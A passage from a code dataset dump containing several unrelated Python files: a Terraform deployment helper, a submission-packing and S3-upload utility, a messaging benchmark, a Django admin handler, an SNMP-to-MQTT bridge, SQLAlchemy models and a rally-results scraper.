udm.BaseDeployedInfrastructureAsCode else it filters out the ci.\n # so depending of the type of the subclass the code uses generatedConfigurationItems or boundConfigurationItems\n if self._is_sub_of_based_deployed_infructure_as_code():\n # print(\" ... _get_managed_ci_property:generatedConfigurationItems\")\n return \"generatedConfigurationItems\"\n else:\n # print(\" ... _get_managed_ci_property:boundConfigurationItems\")\n return \"boundConfigurationItems\"\n\n def _is_sub_of_based_deployed_infructure_as_code(self):\n current_deployed_type = self.current_deployed.getType()\n bdiac_type = Type.valueOf('udm.BaseDeployedInfrastructureAsCode')\n return current_deployed_type.isSubTypeOf(bdiac_type)\n\n\nfrom terraxld.api import TFE\n\nimport sys\nimport json\nimport tempfile\n\nmyapi = TFE(organization)\nws_id = myapi.workspaces.get_id(workspace)\noutput = myapi.state_versions.get_current_state_content_workspace(ws_id)\n\nif debug:\n print(\"---- output\")\n outfile = tempfile.NamedTemporaryFile(delete=False, prefix=\"xld-tfe-\", suffix=\"-output.json\")\n print(\"dump output to {0}\".format(outfile.name))\n json.dump(output, outfile, indent=4)\n print(50 * '-')\n json.dump(output, sys.stdout, indent=4)\n print(50 * '-')\n outfile.close()\n print(\"---- /output\")\n\nManageResources(locals()).process(output)\n", "sub_path": "src/main/resources/xldtfe/manage_resources.py", "file_name": "manage_resources.py", "file_ext": "py", "file_size_in_byte": 10261, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "com.xebialabs.deployit.plugin.api.reflect.DescriptorRegistry.getDescriptor", "line_number": 25, "usage_type": "call"}, {"api_name": "com.xebialabs.deployit.plugin.api.reflect.DescriptorRegistry", "line_number": 25, "usage_type": "name"}, {"api_name": "importlib.import_module", "line_number": 42, "usage_type": "call"}, {"api_name": "com.xebialabs.deployit.provision.ProvisionHelper.getProvisionEnvironmentId", "line_number": 62, "usage_type": "call"}, {"api_name": "com.xebialabs.deployit.provision.ProvisionHelper", "line_number": 62, "usage_type": "name"}, {"api_name": "com.xebialabs.deployit.provision.ProvisionHelper.getOrCreateEnvironment", "line_number": 64, "usage_type": "call"}, {"api_name": "com.xebialabs.deployit.provision.ProvisionHelper", "line_number": 64, "usage_type": "name"}, {"api_name": "com.xebialabs.deployit.provision.ProvisionHelper.getOrCreateEnvironment", "line_number": 136, "usage_type": "call"}, {"api_name": "com.xebialabs.deployit.provision.ProvisionHelper", "line_number": 136, "usage_type": "name"}, {"api_name": "com.xebialabs.deployit.plugin.api.reflect.Type.valueOf", "line_number": 196, "usage_type": "call"}, {"api_name": "com.xebialabs.deployit.plugin.api.reflect.Type", "line_number": 196, "usage_type": "name"}, {"api_name": "terraxld.api.TFE", "line_number": 206, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 212, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 214, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 216, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 216, "usage_type": "attribute"}]} +{"seq_id": "493297009", "text": "import difflib\nimport os\nimport zipfile\n\nfrom mtl.datasets.definitions import MOD_SEMSEG, MOD_DEPTH\nfrom mtl.utils.config import EXPERIMENT_INVARIANT_KEYS\n\n\ndef add_filetree_to_zip(zip, dir_src, filter_filename=None, filter_dirname=None):\n dir_src = os.path.abspath(dir_src)\n dir_src_name = os.path.basename(dir_src)\n dir_src_parent_dir = os.path.dirname(dir_src)\n zip.write(dir_src, arcname=dir_src_name)\n for cur_dir, _, cur_filenames in os.walk(dir_src):\n if filter_dirname is not None and filter_dirname(cur_dir):\n continue\n if cur_dir != dir_src:\n zip.write(cur_dir, arcname=os.path.relpath(cur_dir, dir_src_parent_dir))\n for filename in cur_filenames:\n if filter_filename is not None and filter_filename(filename):\n continue\n zip.write(\n os.path.join(cur_dir, filename),\n arcname=os.path.join(os.path.relpath(cur_dir, dir_src_parent_dir), filename)\n )\n\n\ndef pack_source_dir(cfg, dir_src, path_zip):\n dir_src = os.path.abspath(dir_src)\n cfg_str = '\\n'.join([f'{k}: {v}' for k, v in cfg.__dict__.items() if k not in EXPERIMENT_INVARIANT_KEYS])\n with zipfile.ZipFile(path_zip, 'w', compression=zipfile.ZIP_DEFLATED) as zip:\n add_filetree_to_zip(\n zip,\n dir_src,\n filter_filename=lambda f: not (f.endswith('.py') or f.endswith('.sh') or f.endswith('.txt') or\n f.endswith('.json') or f.endswith('.yaml') or f.endswith('.yml')),\n filter_dirname=lambda d: \"__pycache__\" in d or \".git\" in d or \".idea\" in d,\n )\n zip.writestr('cmd.txt', cfg_str)\n\n\ndef diff_source_dir_and_zip(cfg, dir_src, path_zip):\n dir_src = os.path.abspath(dir_src)\n with zipfile.ZipFile(path_zip) as zip:\n for file in zip.namelist():\n if file == 'cmd.txt':\n continue\n file_info = zip.getinfo(file)\n if file_info.is_dir():\n continue\n path_src = os.path.join(os.path.dirname(dir_src), file)\n if not os.path.isfile(path_src):\n raise FileNotFoundError(path_src)\n with open(path_src) as f:\n lines_src = f.read().split('\\n')\n lines_zip = zip.read(file).decode('utf-8').split('\\n')\n lines_diff = list(difflib.unified_diff(lines_zip, lines_src))\n if len(lines_diff) > 0:\n raise Exception(\n f'File \"{file}\" changed, check README for the recommended workflow:\\n' +\n f'\\n'.join(lines_diff)\n )\n cfg_src = [f'{k}: {v}' for k, v in cfg.__dict__.items() if k not in EXPERIMENT_INVARIANT_KEYS]\n cfg_zip = zip.read('cmd.txt').decode('utf-8').split('\\n')\n cfg_diff = list(difflib.unified_diff(cfg_zip, cfg_src))\n if len(cfg_diff) > 0:\n raise Exception(\n f'Command line changed, check README for the recommended workflow:\\n' +\n f'\\n'.join(cfg_diff)\n )\n\n\ndef pack_submission(log_dir, s3_upload_dir=None, submission_name=\"submission.zip\"):\n dir_pred = os.path.join(log_dir, 'predictions')\n dir_checkpoints = os.path.join(log_dir, 'checkpoints')\n path_source = os.path.join(log_dir, 'source.zip')\n path_metrics = os.path.join(log_dir, 'tube', 'version_0', 'metrics.csv')\n assert os.path.isdir(dir_pred), f'Predictions directory is missing at {dir_pred}'\n assert os.path.isdir(dir_checkpoints), \\\n f'Model checkpoints directory is missing at {dir_checkpoints}; was the model trained for at least one epoch?'\n assert os.path.isfile(path_source), \\\n f'Source archive is missing at {path_source}, without it submission will not be accepted'\n assert os.path.isfile(path_metrics), \\\n f'Tensorboard metrics file is missing at {path_metrics}, without it submission will not be accepted'\n with zipfile.ZipFile(os.path.join(log_dir, submission_name), 'w', compression=zipfile.ZIP_DEFLATED) as zip:\n add_filetree_to_zip(\n zip,\n dir_pred,\n lambda f: not f.endswith('.png'),\n lambda d: not (MOD_SEMSEG in d or MOD_DEPTH in d)\n )\n add_filetree_to_zip(zip, dir_checkpoints, filter_filename=lambda f: not f.endswith('.ckpt'))\n zip.write(path_source, arcname='source.zip')\n zip.write(path_metrics, arcname='metrics.csv')\n if s3_upload_dir is not None:\n ret_code = os.system(f\"aws s3 cp {os.path.join(log_dir, submission_name)} {s3_upload_dir}\")\n assert ret_code == 0\n\n\ndef check_all_rules(cfg):\n dir_repo = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../'))\n common_repo_log = os.path.abspath(os.path.commonprefix([dir_repo, cfg.log_dir]))\n common_repo_dataset = os.path.abspath(os.path.commonprefix([dir_repo, cfg.dataset_root]))\n path_source_zip = os.path.join(cfg.log_dir, 'source.zip')\n assert dir_repo != common_repo_log, 'Log directory must be outside of the code directory'\n assert dir_repo != common_repo_dataset, 'Dataset must be outside of the code directory'\n assert not cfg.prepare_submission or os.path.isdir(cfg.log_dir), \\\n 'Prior to preparing a submission, one needs to train the model first'\n assert not os.path.isdir(cfg.log_dir) or os.path.isfile(path_source_zip), \\\n 'Log directory exists, but \"source.zip\" was not found in it. Either put it back or remove the log ' \\\n 'directory and start the experiment again. Check README for the recommended workflow'\n if not os.path.isdir(cfg.log_dir):\n os.makedirs(cfg.log_dir)\n pack_source_dir(cfg, dir_repo, path_source_zip)\n else:\n diff_source_dir_and_zip(cfg, dir_repo, path_source_zip)\n", "sub_path": "mtl/utils/rules.py", "file_name": "rules.py", "file_ext": "py", "file_size_in_byte": 5785, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.relpath", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "mtl.utils.config.EXPERIMENT_INVARIANT_KEYS", "line_number": 30, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 31, "usage_type": "call"}, {"api_name": "zipfile.ZIP_DEFLATED", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "difflib.unified_diff", "line_number": 57, "usage_type": "call"}, {"api_name": "mtl.utils.config.EXPERIMENT_INVARIANT_KEYS", "line_number": 63, "usage_type": "name"}, {"api_name": "difflib.unified_diff", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "zipfile.ZIP_DEFLATED", "line_number": 85, "usage_type": "attribute"}, {"api_name": "mtl.datasets.definitions.MOD_SEMSEG", "line_number": 90, "usage_type": "name"}, {"api_name": "mtl.datasets.definitions.MOD_DEPTH", "line_number": 90, "usage_type": "name"}, {"api_name": "os.system", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.commonprefix", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.path.commonprefix", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 113, "usage_type": "call"}]} +{"seq_id": "584588042", "text": "#!/usr/bin/env python3.7\n\"\"\"\n\n\"\"\"\n\nfrom __future__ import annotations\nfrom http.server import ThreadingHTTPServer, SimpleHTTPRequestHandler\nfrom typing import List, Dict, Tuple, Union, NewType\nfrom dataclasses import dataclass\nfrom andes_addon.dime import Dime\nfrom time import sleep, time_ns\nimport numpy as np\n\n\ndef time():\n\treturn time_ns() / 1e9\n\ndef human(n):\n\tsuffixes = 'B KB MB GB'.split()\n\ti = 0\n\tmult = 1024\n\twhile n > mult:\n\t\tn /= mult\n\t\ti += 1\n\treturn f'{n:.0f} {suffixes[i]}'\n\n\nChannel = NewType('Channel', str)\nAddress = NewType('Address', str)\nName = NewType('Name', str)\nValue = NewType('Value', any)\n\n\n@dataclass\nclass DimeClient:\n\tfromchannel: Channel\n\ttochannel: Channel\n\taddress: Address\n\tdimec: Dime\n\n\t@classmethod\n\tdef create(cls, fromchannel: Channel, tochannel: Channel, address: Address) -> DimeClient:\n\t\tdimec = Dime(fromchannel, address)\n\n\t\tok = dimec.start()\n\t\tif not ok:\n\t\t\traise ValueError('Could not start dimec')\n\n\t\treturn cls(fromchannel, tochannel, address, dimec)\n\t\n\tdef get(self, expected: Optional[Name]=None) -> Name:\n\t\twhile True:\n\t\t\tvarname = self.dimec.sync()\n\t\t\tif not varname:\n\t\t\t\tsleep(0.1)\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tif expected is not None and varname != expected:\n\t\t\t\traise ValueError(f'Unexpected variable: {varname!r}')\n\n\t\t\treturn varname\n\n\tdef __getitem__(self, varname: Name) -> Value:\n\t\treturn self.dimec.workspace[varname]\n\n\tdef __setitem__(self, varname, value):\n\t\tself.dimec.send_var(self.tochannel, varname, value)\n\n\ndef main_writer(dime: DimeClient, synack: bool):\n\tvalue = np.random.uniform(size=(50000,))\n\tsize = len(value.tobytes())\n\t\n\tdime['syn'] = True\n\tdime.get('ack')\n\n\ttotal_size = 0\n\tstart = time()\n\tfor _ in range(100):\n\t\tdime['value'] = value\n\n\t\tif synack:\n\t\t\tdime['syn'] = True\n\t\t\tdime.get('ack')\n\n\t\ttotal_size += size\n\t\tnow = time()\n\t\trate = total_size / (now - start)\n\t\tprint(f'rate = {human(rate)}/s ({human(total_size)} / {now - start} s)')\n\t\n\tdime['DONE'] = True\n\n\ndef main_reader(dime: DimeClient, synack: bool):\n\tdime.get('syn')\n\tdime['ack'] = True\n\n\ttotal_size = 0\n\tstart = time()\n\twhile True:\n\t\tvarname = dime.get()\n\t\tif varname == 'DONE':\n\t\t\tbreak\n\t\telif varname == 'value':\n\t\t\tvalue = dime[varname]\n\t\t\tsize = len(value.tobytes())\n\t\t\t\n\t\t\ttotal_size += size\n\t\t\tnow = time()\n\t\t\trate = total_size / (now - start)\n\t\t\tprint(f'rate = {human(rate)}/s ({human(total_size)} / {now - start} s)')\n\n\t\telif varname == 'syn':\n\t\t\tif synack:\n\t\t\t\tdime['ack'] = True\n\t\telif varname == 'ack':\n\t\t\tprint('hmm')\n\n\ndef cli():\n\tdef dime(s):\n\t\taddress, fromchannel, tochannel = s.split(',')\n\t\treturn DimeClient.create(fromchannel, tochannel, address)\n\n\timport argparse\n\n\tparser = argparse.ArgumentParser()\n\tparser.set_defaults(main=None)\n\tparser.add_argument('--synack', action='store_true')\n\tparser.add_argument('--dime', type=dime, required=True)\n\n\tsubparsers = parser.add_subparsers(required=True)\n\n\twriter = subparsers.add_parser('writer')\n\twriter.set_defaults(main=main_writer)\n\n\treader = subparsers.add_parser('reader')\n\treader.set_defaults(main=main_reader)\n\n\targs = vars(parser.parse_args())\n\tmain = args.pop('main')\n\tmain(**args)\n\n\nif __name__ == '__main__':\n\tcli()\n", "sub_path": "benchmark.py", "file_name": "benchmark.py", "file_ext": "py", "file_size_in_byte": 3122, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "time.time_ns", "line_number": 16, "usage_type": "call"}, {"api_name": "typing.NewType", "line_number": 28, "usage_type": "call"}, {"api_name": "typing.NewType", "line_number": 29, "usage_type": "call"}, {"api_name": "typing.NewType", "line_number": 30, "usage_type": "call"}, {"api_name": "typing.NewType", "line_number": 31, "usage_type": "call"}, {"api_name": "andes_addon.dime.Dime", "line_number": 39, "usage_type": "name"}, {"api_name": "andes_addon.dime.Dime", "line_number": 43, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.random.uniform", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 127, "usage_type": "call"}]} +{"seq_id": "468089973", "text": "\nfrom stark.service.stark import StarkHandler,Option\nfrom django.conf.urls import url\nfrom management.model_form import StudentModelForm\nfrom django.utils.safestring import mark_safe\n\nclass StudentHandler(StarkHandler):\n def score_display(self,obj, is_head=None, *args, **kwargs):\n if is_head:\n return '积分管理'\n url = self.reverse_base_url('management_scorerecord_list',student_id=obj.pk)\n return mark_safe('%s'%(url,obj.score))\n\n model_form_class = StudentModelForm\n list_display = [\n 'customer',\n 'qq',\n 'mobile',\n StarkHandler.get_m2m_text('已报名的班级','class_list'),\n StarkHandler.get_choice_text('学员状态','student_status'),\n score_display,\n 'memo'\n ]\n has_add_btn = False\n\n\n\n def get_list_display(self):\n \"\"\"\n 扩展显示字段，可以在子类中进行重写，不重写value为空\n :return:\n \"\"\"\n value = []\n if self.list_display:\n value.extend(self.list_display)\n value.append(StarkHandler.display_edit)\n return value\n\n def get_urls(self):\n \"\"\"\n 对于一张表，默认定义了增删改查四个视图函数\n 如果需要减少url或者重写url可以对该方法重写\n :return:\n \"\"\"\n patterns = [\n url(r'^list/$', self.wrapper(self.changelist_view), name=self.get_list_url_name),\n url(r'^add/$', self.wrapper(self.add_view), name=self.get_add_url_name),\n url(r'^change/(?P\\d+)/$', self.wrapper(self.change_view), name=self.get_change_url_name),\n ]\n patterns.extend(self.extra_urls())\n return patterns\n\n search_group = [\n Option('class_list'),\n Option('student_status'),\n\n ]\n search_list = [\n 'customer__name'\n ]", "sub_path": "management/views/student.py", "file_name": "student.py", "file_ext": "py", "file_size_in_byte": 1872, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "stark.service.stark.StarkHandler", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "name"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "name"}, {"api_name": "management.model_form.StudentModelForm", "line_number": 14, "usage_type": "name"}, {"api_name": "stark.service.stark.StarkHandler.get_m2m_text", "line_number": 19, "usage_type": "call"}, {"api_name": "stark.service.stark.StarkHandler", "line_number": 19, "usage_type": "name"}, {"api_name": "stark.service.stark.StarkHandler.get_choice_text", "line_number": 20, "usage_type": "call"}, {"api_name": "stark.service.stark.StarkHandler", "line_number": 20, "usage_type": "name"}, {"api_name": "stark.service.stark.StarkHandler.display_edit", "line_number": 36, "usage_type": "attribute"}, {"api_name": "stark.service.stark.StarkHandler", "line_number": 36, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 46, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 47, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 48, "usage_type": "call"}, {"api_name": "stark.service.stark.Option", "line_number": 54, "usage_type": "call"}, {"api_name": "stark.service.stark.Option", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "15481140", "text": "#!/usr/bin/env python3\nimport sqlite3 as sqlite\nimport paho.mqtt.client as mqtt\nimport configparser as cp\nimport os\nimport sys \nimport getopt\n\nverbose=False\ndatabase=\"/opt/power/data/power.db\"\nsql=None\n\n\nsqlCmd=\"select hosts.ip,outlets.name, outlets.oid, hosts.on_value,off_value from outlets, hosts where outlets.hostidx=hosts.idx;\"\n\nsnmpTemplate=\"snmpget -OQven -v1 -c private %s %s\"\n\ndef on_message(client, userdata, msg):\n print(\"on_message\")\n\ndef on_connect(client, userdata, flags, rc):\n pass\n# print(\"on_connect\")\n\ndef on_publish(client, userdata, mid):\n print(\"Message \"+str(mid)+\" published.\")\n\ndef usage():\n print(\"Help\")\n\ndef main():\n global verbose\n\n topicTemplate=\"/home/office/%s/power\"\n configFile=\"/etc/mqtt/bridge.ini\"\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"c:hv\",[\"config=\",\"help\",\"verbose\"])\n for o,a in opts:\n if o in [\"-h\",\"--help\"]:\n usage()\n sys.exit()\n elif o in [\"-c\",\"--config\"]:\n configFile = a \n elif o in [\"-v\",\"--verbose\"]:\n verbose=True\n\n except getopt.GetoptError as err:\n print(err)\n usage()\n sys.exit(2)\n\n if os.path.exists(configFile):\n cfg = cp.ConfigParser()\n cfg.read( configFile )\n mqttBroker=cfg.get('local','name')\n mqttPort=int(cfg.get('local','port'))\n else:\n print('No such file as ' + configFile, file=sys.stderr)\n sys.exit(2)\n\n if verbose:\n print(\"Broker : \" + mqttBroker)\n print(\"Port : \" + str(mqttPort))\n\n sql = sqlite.connect( database )\n c=sql.cursor()\n\n c.execute( sqlCmd )\n\n client = mqtt.Client()\n client.on_connect = on_connect\n client.on_message = on_message\n\n client.connect(mqttBroker, mqttPort, 60) \n\n res=c.fetchall()\n\n for n in res:\n ip=n[0]\n name=n[1]\n oid=n[2]\n onValue=n[3]\n offValue=n[4]\n\n snmpCmd=snmpTemplate % (ip, oid)\n\n if verbose:\n print(\"IP :\",ip)\n print(\"Name :\",name)\n print(\"OID :\",oid)\n print(\"ON :\",onValue)\n print(\"OFF :\",offValue)\n print(snmpCmd)\n print(\"=======\")\n\n f=os.popen( snmpCmd )\n\n state=int(f.read() )\n\n topic= topicTemplate % name \n\n if state == onValue:\n msg = \"ON\"\n elif state == offValue:\n msg = \"OFF\"\n\n if verbose:\n print( topic)\n print(msg)\n\n client.publish(topic, msg, retain=True )\n client.loop()\n\n\nmain()\n\n\n\n\n", "sub_path": "newPDU/snmpToMqtt.py", "file_name": "snmpToMqtt.py", "file_ext": "py", "file_size_in_byte": 2600, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "getopt.getopt", "line_number": 38, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "getopt.GetoptError", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 54, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 59, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 60, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 66, "usage_type": "call"}, {"api_name": "paho.mqtt.client.Client", "line_number": 71, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 71, "usage_type": "name"}, {"api_name": "os.popen", "line_number": 97, "usage_type": "call"}]} +{"seq_id": "234495843", "text": "__author__ = 'koba'\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, VARCHAR, DateTime\n\nBase = declarative_base()\n\n\nclass Spamer(Base):\n __tablename__ = 'spamers'\n id = Column(Integer, primary_key=True)\n phone = Column(VARCHAR)\n\n def __init__(self, phone):\n self.phone = phone\n\n def __repr__(self):\n return \"<Номер: %s>\" % self.phone\n\n\nclass Core(Base):\n __tablename__ = 'core'\n id = Column(Integer, primary_key=True)\n last_visit = Column(DateTime)\n name = Column(VARCHAR)\n\n def __init__(self, name,last_visit):\n self.last_visit = last_visit\n self.name = name\n\n def __repr__(self):\n return \"<Бот %s, последнее посещение: %s>\" % (self.name, self.last_visit)", "sub_path": "src/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 797, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 5, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 10, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 10, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 11, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 23, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 24, "usage_type": "argument"}]} +{"seq_id": "213200320", "text": "import os\nimport sys\nimport requests\nimport sqlite3\nimport datetime\nfrom pyquery import PyQuery as pq\nfrom helpers.db_helpers import selectEvents\n\ncurrentfile = os.path.basename(__file__)\ncurrentfilename = os.path.splitext(currentfile)[0]\n\nos.system(\"cls\")\t# Clear console\n\nevent_ids_dict = selectEvents('wrc.db')\n\nfor key in event_ids_dict:\n\tprint(key)\n\tfor event_id in event_ids_dict[key]:\n\n\t\turl = \"https://www.ewrc-results.com/\"+ currentfilename + \"/\" + str(event_id) + \"/\"\n\n\t\ttry:\n\t\t\tprint(url)\n\t\t\tresponse = requests.get(url)\n\t\texcept requests.exceptions.RequestException as e:\n\t\t\tprint(e)\n\t\t\tsys.exit(1)\n\n\t\tif response.status_code == 200:\n\n\t\t\tdoc = pq(response.text)\n\n\t\t\ttry:\n\t\t\t\tdb = sqlite3.connect('wrc.db')\n\t\t\t\tcursor = db.cursor()\n\t\t\t\t\n\t\t\t\t#Eventstats\n\t\t\t\tscratches = doc(\"div.stats-wins\").eq(0)\n\t\t\t\tleads = doc(\"div.stats-leads\").eq(0)\n\t\t\t\t\n\t\t\t\tfor tr in scratches('tr').items():\n\t\t\t\t\tstage_number = tr(\"td:first > a\").text()\n\t\t\t\t\tstage = tr(\"td.stats-stage1 > a\").text()\n\t\t\t\t\ttr(\"td:last\").remove()\n\n\t\t\t\t\tdrivers = tr(\"td:last > a\").items()\n\t\t\t\t\tdriver_id = None\n\t\t\t\t\tfor driver in drivers:\n\t\t\t\t\t\tif(driver_id != driver.attr('href').split('/')[2].split('-')[0]):\n\t\t\t\t\t\t\tdriver_id = driver.attr('href').split('/')[2].split('-')[0]\n\t\t\t\t\t\t\tscratch_tuple = (event_id,stage_number,stage,driver_id)\n\t\t\t\t\t\t\tdb.execute(\"INSERT INTO scratchs (event_id,stage_number,stage_name,driver_id) VALUES (?,?,?,?)\",scratch_tuple);\n\n\t\t\t\tfor tr in leads('tr').items():\n\t\t\t\t\tstage_number = tr(\"td:first > a\").text()\n\t\t\t\t\tstage = tr(\"td.stats-stage2 > a\").text()\n\t\t\t\t\t\n\t\t\t\t\tdrivers = tr(\"td:last > a\").items()\n\t\t\t\t\tdriver_id = None\n\t\t\t\t\tfor driver in drivers:\n\t\t\t\t\t\tif(driver_id != driver.attr('href').split('/')[2].split('-')[0]):\n\t\t\t\t\t\t\tdriver_id = driver.attr('href').split('/')[2].split('-')[0]\n\t\t\t\t\t\t\tleader_tuple = (event_id,stage_number,stage,driver_id)\n\t\t\t\t\t\t\tdb.execute(\"INSERT INTO leaders (event_id,stage_number,stage_name,driver_id) VALUES (?,?,?,?)\",leader_tuple);\n\n\t\t\t\tdb.commit()\n\n\t\t\texcept Exception as e:\n\t\t\t\tdb.rollback()\t\n\t\t\t\traise e\n\t\t\tfinally:\n\t\t\t\tdb.close()", "sub_path": "eventstats.py", "file_name": "eventstats.py", "file_ext": "py", "file_size_in_byte": 2070, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.basename", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, 